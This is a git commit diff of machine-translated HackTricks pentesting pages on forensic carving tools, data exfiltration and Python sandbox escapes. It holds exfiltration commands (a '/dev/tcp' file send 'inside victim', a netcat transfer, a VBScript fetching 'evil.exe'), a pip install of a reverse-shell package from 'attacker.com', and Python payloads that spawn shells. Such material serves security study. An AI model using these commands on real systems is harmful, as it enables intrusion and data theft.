Translated ['forensics/basic-forensic-methodology/partitions-file-system

This commit is contained in:
Translator 2024-03-24 13:29:10 +00:00
parent 534847e0e9
commit 779bf63ff1
47 changed files with 1345 additions and 1339 deletions

View file

@ -1,4 +1,4 @@
# Alatke za izdvajanje i obnavljanje podataka
# Alatke za izvlačenje i obnavljanje podataka
<details>
@ -6,33 +6,33 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Alatke za izdvajanje i obnavljanje podataka
## Alatke za izvlačenje i obnavljanje podataka
Više alatki na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Najčešće korišćeni alat u forenzici za izdvajanje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i pustite da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
Najčešće korišćeni alat u forenzici za izvlačenje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i pustite da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** je alat za analizu binarnih fajlova kako bi pronašao ugrađeni sadržaj. Može se instalirati putem `apt` i njegov izvorni kod se nalazi na [GitHub-u](https://github.com/ReFirmLabs/binwalk).
**Binwalk** je alat za analizu binarnih fajlova radi pronalaženja ugrađenog sadržaja. Može se instalirati putem `apt` i njegov izvorni kod se nalazi na [GitHub-u](https://github.com/ReFirmLabs/binwalk).
**Korisne komande**:
```bash
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo određene datoteke, uklonite komentare ispred njih. Ako ne uklonite komentare, foremost će pretraživati prema svojim podrazumevano konfigurisanim tipovima datoteka.
Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo određene datoteke, uklonite komentare iz njih. Ako ne uklonite komentare, foremost će pretraživati prema svojim podrazumevano konfigurisanim tipovima datoteka.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -51,7 +51,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, trebaće vam da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite izdvojiti.
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, trebaće vam da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite da izdvojite.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -60,7 +60,7 @@ scalpel file.img -o output
Ovaj alat dolazi unutar kali distribucije, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Ovaj alat može skenirati sliku i **izdvojiti pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, e-mailovi)** i više **datoteka**. Samo treba da uradite:
Ovaj alat može skenirati sliku i **izdvojiti pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, mejlovi)** i više **fajlova**. Samo treba da uradite:
```
bulk_extractor memory.img -o out_folder
```
@ -76,7 +76,7 @@ Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove datoteka** koje želite
Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/).
#### Funkcije BinVis
#### Karakteristike BinVis-a
* Vizuelni i aktivni **pregled strukture**
* Više grafikona za različite fokusne tačke
@ -104,20 +104,20 @@ Možete koristiti linux alat komandne linije **pdftotext** da transformišete pd
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
@ -16,15 +16,15 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Često beleženi domeni za izfiltraciju informacija
## Često belistovane domene za izfiltriranje informacija
Proverite [https://lots-project.com/](https://lots-project.com/) da biste pronašli često beležene domene koji mogu biti zloupotrebljeni
Proverite [https://lots-project.com/](https://lots-project.com/) da biste pronašli često belistovane domene koje mogu biti zloupotrebljene
## Kopiranje\&lepljenje Base64
@ -79,6 +79,8 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **HTTPS Server**
### **HTTPS Server**
```python
# from https://gist.github.com/dergachev/7028596
@ -127,6 +129,8 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP server (NodeJS)
### FTP server (NodeJS)
```
sudo npm install -g ftp-srv --save
@ -191,34 +195,78 @@ Windows
### Exfiltration
#### Overview
#### Exfiltration Over Alternative Protocol
Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as:
1. **Description**
Data exfiltration can be achieved using various protocols other than HTTP/HTTPS, such as DNS, ICMP, or SMTP. These protocols are often allowed to traverse network boundaries and can be used to bypass egress filtering.
- **Email**: Sending sensitive data as email attachments.
- **FTP**: Uploading data to an FTP server.
- **DNS**: Encoding data within DNS queries.
- **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols.
- **Cloud Storage**: Storing data in cloud storage services.
2. **Detection**
- Monitor network traffic for unusual DNS requests, especially those containing encoded data.
- Look for abnormal ICMP traffic patterns that may indicate data exfiltration.
- Analyze SMTP traffic for unexpected attachments or unusual sending patterns.
#### Techniques
3. **Prevention**
- Implement egress filtering rules that restrict the use of alternative protocols.
- Use deep packet inspection to detect and block exfiltration attempts over alternative protocols.
- Encrypt sensitive data before transmission to make exfiltration more difficult.
1. **Data Compression**: Compressing data before exfiltration to reduce size and avoid detection.
2. **Data Encryption**: Encrypting data to prevent unauthorized access.
3. **Steganography**: Hiding data within other files to avoid detection.
4. **Data Fragmentation**: Splitting data into smaller fragments for exfiltration.
5. **Traffic Obfuscation**: Masking exfiltration traffic to blend in with legitimate traffic.
4. **Tools**
- **[Iodine](https://github.com/yarrick/iodine):** Tunnel IPv4 data through a DNS server.
- **[ChopChop](https://github.com/MITRECND/chopchop):** Craft and send arbitrary IP packets.
- **[SMTP-Tester](https://github.com/le4f/smtp-tester):** Test SMTP server for open relays.
#### Tools
#### Exfiltration Over Unencrypted/Unauthenticated Protocols
- **Cobalt Strike**: A popular tool for post-exploitation activities, including exfiltration.
- **PowerShell**: Built-in Windows tool used for various exfiltration techniques.
- **Certutil**: Command-line utility for decoding/encoding data in Windows.
- **Bitsadmin**: Command-line tool to create and monitor BITS jobs for data transfer.
1. **Description**
Exfiltrating data over unencrypted or unauthenticated protocols, such as FTP or Telnet, can expose sensitive information to interception by network eavesdroppers.
#### Detection
2. **Detection**
- Monitor network traffic for clear-text passwords or sensitive data being transmitted over unencrypted protocols.
- Look for unauthorized FTP or Telnet connections originating from internal hosts.
Detection of exfiltration activities can be challenging due to the use of legitimate protocols and encryption. Monitoring network traffic, analyzing data transfers, and implementing data loss prevention (DLP) solutions can help in detecting and preventing data exfiltration.
3. **Prevention**
- Encrypt data before transmission using secure protocols like SFTP or SSH.
- Disable or restrict the use of unencrypted/ unauthenticated protocols within the network.
- Implement strong authentication mechanisms to prevent unauthorized access to sensitive services.
4. **Tools**
- **[Wireshark](https://www.wireshark.org/):** Analyze network traffic to identify clear-text data transmissions.
- **[Nmap](https://nmap.org/):** Scan for open FTP or Telnet ports on network devices.
- **[FileZilla](https://filezilla-project.org/):** Securely transfer files using SFTP/FTP over SSH.
#### Exfiltration Over DNS
1. **Description**
DNS exfiltration involves encoding sensitive data within DNS queries or responses to bypass network security controls and exfiltrate data.
2. **Detection**
- Monitor DNS traffic for unusually large queries or responses that may contain exfiltrated data.
- Look for patterns in DNS requests that deviate from normal domain resolution behavior.
- Analyze DNS query timings and volume for signs of data exfiltration.
3. **Prevention**
- Implement DNS sinkholing to redirect suspicious DNS traffic to controlled servers.
- Use DNS firewall rules to block unauthorized DNS queries containing suspicious data.
- Encrypt DNS traffic using DNS over HTTPS (DoH) or DNS over TLS (DoT) to prevent eavesdropping.
4. **Tools**
- **[Dnscat2](https://github.com/iagox86/dnscat2):** Multi-platform tool for tunneling data through DNS servers.
- **[Dns2tcp](https://github.com/bortzmeyer/dns2tcp):** Tunnel TCP over DNS.
- **[dnsteal](https://github.com/m57/dnsteal):** Extract data from DNS traffic.
---
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -242,16 +290,14 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
```
## NC
### Netcat
Netcat is a versatile networking utility that can be used for reading from and writing to network connections using TCP or UDP. It can also be used to set up a simple file server or transfer files between systems. Netcat can be a powerful tool for exfiltrating data during a penetration test.
Netcat (NC) je moćan alat za mrežno preusmeravanje podataka. Može se koristiti za prenos podataka između sistema putem TCP ili UDP veza. NC može biti korišćen za slanje fajlova, snimanje portova i mnoge druge mrežne operacije.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Preuzimanje fajla sa žrtvine mašine
### Preuzimanje fajla sa žrtve
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
@ -285,7 +331,7 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Ako možete slati podatke na SMTP server, možete kreirati SMTP da primite podatke pomoću python-a:
Ako možete poslati podatke na SMTP server, možete kreirati SMTP da primite podatke pomoću python-a:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
@ -293,7 +339,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
Podrazumevano u XP i 2003 (u drugima mora biti eksplicitno dodato tokom instalacije)
Na Kali, **pokrenite TFTP server**:
Na Kali, **pokreni TFTP server**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
@ -316,10 +362,6 @@ Preuzmite fajl pomoću PHP jednolinijske komande:
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
### VBScript Exfiltration
VBScript can be used to exfiltrate data by sending it over HTTP or HTTPS to an attacker-controlled server. This can be achieved by creating an HTTP request object, setting the request headers and body with the data to exfiltrate, and sending the request to the attacker's server. This technique can be used to exfiltrate sensitive information such as passwords, documents, or system information.
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -357,7 +399,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Program `debug.exe` ne samo što omogućava inspekciju binarnih fajlova već takođe ima **mogućnost da ih rekonstruiše iz heksadecimalnog koda**. To znači da, pružajući heksadecimalni kod binarnog fajla, `debug.exe` može generisati binarni fajl. Međutim, važno je napomenuti da debug.exe ima **ograničenje u sastavljanju fajlova do veličine od 64 kb**.
Program `debug.exe` ne samo što omogućava inspekciju binarnih fajlova već takođe ima **mogućnost da ih rekonstruiše iz heksadecimalnog koda**. To znači da, pružajući heksadecimalni kod binarnog fajla, `debug.exe` može generisati binarni fajl. Međutim, važno je napomenuti da debug.exe ima **ograničenje u sastavljanju fajlova do 64 kb veličine**.
```bash
# Reduce the size
upx -9 nc.exe
@ -369,7 +411,7 @@ wine exe2bat.exe nc.exe nc.txt
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -6,9 +6,9 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,12 +24,12 @@ Drugi načini podrške HackTricks-u:
Cilj ove stranice je da nabroji **platforme koje omogućavaju pretragu koda** (doslovnog ili regex) u hiljadama/milionskim repozitorijumima na jednoj ili više platformi.
Ovo pomaže u nekoliko situacija za **pretragu procurenih informacija** ili za obrasce **ranjivosti**.
Ovo pomaže u nekoliko prilika za **pretragu procurenih informacija** ili za obrasce **ranjivosti**.
* [**SourceGraph**](https://sourcegraph.com/search): Pretraga u milionima repozitorijuma. Postoji besplatna verzija i verzija za preduzeća (sa 15 dana besplatno). Podržava regexe.
* [**Github Pretraga**](https://github.com/search): Pretraga na Github-u. Podržava regexe.
* [**SourceGraph**](https://sourcegraph.com/search): Pretraga u milionima repozitorijuma. Postoji besplatna verzija i poslovna verzija (sa 15 dana besplatno). Podržava regexe.
* [**Github Pretraga**](https://github.com/search): Pretraga preko Github-a. Podržava regexe.
* Možda je korisno proveriti i [**Github Pretragu Koda**](https://cs.github.com/).
* [**Gitlab Napredna Pretraga**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pretraga kroz Gitlab projekte. Podržava regexe.
* [**Gitlab Napredna Pretraga**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pretraga preko Gitlab projekata. Podržava regexe.
* [**SearchCode**](https://searchcode.com/): Pretraga koda u milionima projekata.
{% hint style="warning" %}
@ -38,7 +38,7 @@ Kada tražite procurene informacije u repozitorijumu i pokrenete nešto poput `g
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -48,9 +48,9 @@ Kada tražite procurene informacije u repozitorijumu i pokrenete nešto poput `g
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

View file

@ -6,9 +6,9 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
Ovo su neki trikovi za zaobilaženje zaštite Python peskovnika i izvršavanje proizvoljnih komandi.
## Biblioteke za Izvršavanje Komandi
## Biblioteke za izvršavanje komandi
Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa već uvezenom bibliotekom, ili da li možete uvesti bilo koju od ovih biblioteka:
```python
@ -65,7 +65,7 @@ Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitanje da
**Python2 input()** funkcija omogućava izvršavanje python koda pre nego što program padne.
{% endhint %}
Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (sledeća komanda će odštampati gde python učitava module): `python3 -c 'import sys; print(sys.path)'`
Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (sledeća komanda će odštampati gde se python učitava module): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
@ -74,8 +74,8 @@ Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (slede
### Podrazumevani paketi
Možete pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Imajte na umu da iz pickle-a možete učiniti da python okruženje **uvozi proizvoljne biblioteke** instalirane u sistemu.\
Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da je koristi:
Imajte na umu da iz pickle-a možete napraviti python okruženje da **uvozi proizvoljne biblioteke** instalirane u sistemu.\
Na primer, sledeći pickle, kada se učita, uvešće biblioteku pip da je koristi:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -92,14 +92,14 @@ Za više informacija o tome kako radi pickle pogledajte ovde: [https://checkoway
### Pip paket
Trik deljen od strane **@isHaacK**
Trik podeljen od strane **@isHaacK**
Ako imate pristup `pip`-u ili `pip.main()` možete instalirati proizvoljan paket i dobiti obrnutu ljusku pozivajući:
Ako imate pristup `pip`-u ili `pip.main()` možete instalirati proizvoljan paket i dobiti povratnu ljusku pozivajući:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Možete preuzeti paket za kreiranje obrnutog školjka ovde. Imajte na umu da pre korišćenja treba **dekompresovati**, promeniti `setup.py`, i uneti svoju IP adresu za obrnuti školjka:
Možete preuzeti paket za kreiranje obrnutog školjka ovde. Molimo, imajte na umu da pre korišćenja treba **dekompresovati**, promeniti `setup.py`, i uneti svoju IP adresu za obrnuti školjka:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
@ -157,9 +157,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Zaobilazak zaštita putem enkodiranja (UTF-7)
## Zaobilazak zaštite putem enkodiranja (UTF-7)
U [**ovom objašnjenju**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se koristi UTF-7 da se učita i izvrši proizvoljni Python kod unutar očigledne peskaše.
U [**ovom objašnjenju**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se koristi UTF-7 da bi se učitao i izvršio proizvoljni Python kod unutar očigledne peskaše.
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -170,13 +170,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Takođe je moguće zaobići to korišćenjem drugih enkodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
Takođe je moguće zaobići ga koristeći druge enkodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
## Izvršavanje Python koda bez poziva
Ako se nalazite unutar Python zatvora koji **ne dozvoljava pozive**, i dalje postoje načini da se **izvrše proizvoljne funkcije, kod** i **komande**.
Ako se nalazite unutar Python zatvora koji vam **ne dozvoljava da vršite pozive**, i dalje postoje neki načini da **izvršite proizvoljne funkcije, kod** i **komande**.
### RCE sa [dekoratorima](https://docs.python.org/3/glossary.html#term-decorator)
### RCE pomoću [dekoratora](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -200,11 +200,11 @@ class _:pass
```
### RCE kreiranje objekata i preopterećenje
Ako možete **deklarisati klasu** i **kreirati objekat** te klase, možete **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da ih pozivate direktno**.
Ako možete **deklarisati klasu** i **kreirati objekat** te klase, možete **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da se pozivaju direktno**.
#### RCE sa prilagođenim klasama
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) kako biste ih naterali da **izvrše proizvoljan kod** kada budu **pokrenuti** bez direktnog pozivanja.
Možete izmeniti neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) kako biste omogućili da izvršavaju **proizvoljan kod** kada budu **pokrenute** bez direktnog pozivanja.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -273,7 +273,7 @@ Sub['import os; os.system("sh")']
```
#### Kreiranje objekata sa izuzecima
Kada se **izuzetak pokrene**, objekat **Izuzetka** se **kreira** bez potrebe da direktno pozivate konstruktor (triik od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
Kada se **izuzetak pokrene**, objekat **Izuzetka** se **kreira** bez potrebe da direktno pozivate konstruktor (trič od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -315,7 +315,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Pročitajte datoteku pomoću ugrađenih funkcija pomoći i licence
### Pročitajte datoteku pomoću ugrađenih funkcija pomoću & licenca
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -336,8 +336,8 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### Bez Ugrađenih Funkcija
